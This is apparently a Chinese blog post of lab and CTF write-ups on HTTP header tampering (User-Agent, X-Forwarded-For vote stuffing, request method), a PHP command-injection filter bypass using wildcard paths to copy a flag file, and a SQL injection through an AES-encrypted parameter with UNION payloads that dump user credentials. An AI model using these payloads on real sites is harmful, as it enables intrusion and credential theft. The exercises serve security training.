前言
第二天内容没啥讲的,列举几个课堂靶场实验
一、浏览器信息伪造
来到页面
提示:请使用iPhone手机,在2G网络下登录微信查看!
想到修改user-agent信息,使用bp抓包修改
首先我们要先找到对应的user-agent信息,直接百度就可以找到
Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365 MicroMessenger/6.0 NetType/2G
即可获取到key
二、投票系统程序设计缺陷分析
来到页面,进入投票
我们要把ggg投到第一名,但是投一次就不能投了,进行抓包查看
根据提示,要我们了解程序员获取ip地址的方式
查找资料可发现
和X-Forwarded-For有关
增设字段,把IP设为变量进行访问,设置数字递增,投到最多为止
即可获取到key
三、HTTP动作练习
来到页面
直接抓包,看到很长的数据包,并且根据题目信息,修改为post提交方式,直接右键修改请求方式即可,注意post提交会有一个content-type字段表示提交的数据包类型
即可获取到key
四、ctf.show_红包题
来到首页
查看源码
猜测有命令执行函数
尝试输入cat …/…/…/flag,显示php代码很多过滤条件
preg_match 函数用于执行一个正则表达式匹配,如果匹配成功则报错
第一个正则字母没有过滤p,第二个正则没有过滤常见字符 ? / =
这里参考大佬的解法
#模糊匹配
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
#相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
相当于 ?>闭合前面php语句
<?= 可以替代 <? echo (php>5.4.0)
后面的模糊匹配相当于
/bin/cp /flag.txt p.ppp #此命令为将根目录下的文件复制到此目录下的p.ppp文件中(就是cp命令的具体路径了)
? 作为通配符,太强了 反引号内的命令会先执行
然后访问p.ppp文件就会下载,得到flag
访问p.ppp
得到flag
ctfshow{0bdca611-5284-4a38-b852-8fae7b7d9915}
五、SQL注入漏洞测试(参数加密)
首先来到页面
是一个登录框,可尝试暴力破解,sql注入等,根据提示:掌握信息泄露得方式
于是御剑扫描一下,看是否存在其他目录
扫描到一个目录
下载后可看到
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
分析php文件
分析得到:
- #该参数先进行AES加密再进行base64编码
- #因此先进行base64解码再进行AES解密
- #AES加密模式 [MCRYPT_MODE_CBC] AES加密位数[MCRYPT_RIJNDAEL_128]
- #AES秘钥 [ydhaqPQnexoaDuW3] AES偏移值[2018201920202021]
通过查看源码可发现
先将其base64解码
通过比对得到明文1_mozhe
后续sql注入就需要在这基础上修改
例如 1 and 1=2_mozhe
页面返回错误,说明是数字型注入
后续注入发现有四个字段,2,3字段会回显
最后查找用户名、密码和状态(0表示无效,1表示有效)
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe
最后通过MD5解密
登录获得key值
总结
今天主要是讲的http的requests和response头部信息,利用bp代理去修改请求绕过限制,后续会分享一些安全例题,可以关注一下。